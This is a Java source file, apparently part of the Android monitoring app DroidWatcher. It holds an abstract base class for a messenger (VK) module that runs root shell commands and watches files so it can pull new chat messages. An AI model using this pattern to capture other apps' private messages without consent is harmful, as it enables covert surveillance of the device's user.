package com.droidwatcher.modules.vk; import java.util.Calendar; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.FileObserver; import android.preference.PreferenceManager; import android.util.SparseArray; import com.droidwatcher.Debug; import com.droidwatcher.SettingsManager; import com.stericson.RootTools.execution.CommandCapture; public abstract class VkModuleBase { protected static final String SETTINGS_LASTDATE = "lastdate"; protected Context mContext; protected SettingsManager mSettings; protected FileObserver mFileObserver; protected SparseArray<String> mUsernames; protected long mLastMsgTimestamp; protected boolean mIsStarted; public VkModuleBase(Context context){ this.mContext = context; this.mSettings = new SettingsManager(context); this.mUsernames = new SparseArray<String>(); this.mIsStarted = false; } public boolean isStarted(){ return mIsStarted; } public abstract void start(); public abstract void stop(); protected abstract void getNewChat(); protected synchronized void saveLastMsgTimestamp(long lastMsgTimestamp){ if (lastMsgTimestamp == 0) { return; } SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext); Editor editor = settings.edit(); editor.putLong(SETTINGS_LASTDATE, lastMsgTimestamp); editor.commit(); } protected Boolean networkAvailable(){ ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = manager.getActiveNetworkInfo(); if (info == null){ return false; } if (mSettings.onlyWiFi() && info.getType() != ConnectivityManager.TYPE_WIFI){ return false; } return info.isConnectedOrConnecting(); } protected class MyCommandCapture extends CommandCapture{ private ICommandCallback callback; public MyCommandCapture(String... command){ super(0, command); } public void setCallback(ICommandCallback callback){ this.callback = callback; } @Override public void commandCompleted(int id, int exitcode) { if (callback != null) { callback.run(); } } } protected interface ICommandCallback{ public void run(); } protected class VkFileObserver extends FileObserver { private static final long UPDATE_TIOMEOUT = 2 * 1000L; private long lastUpdate; public VkFileObserver(String filePath) { super(filePath, FileObserver.CLOSE_WRITE); } @Override public synchronized void onEvent(int event, String path) { Debug.i("onEvent: " + event + "; Path: " + path); long now = Calendar.getInstance().getTimeInMillis(); if (now - lastUpdate < UPDATE_TIOMEOUT) { return; } lastUpdate = now; new Thread(new Runnable() { @Override public void run() { // try { // Thread.sleep(UPDATE_TIOMEOUT); // } catch (InterruptedException e) { // e.printStackTrace(); // } getNewChat(); } }).start(); } } }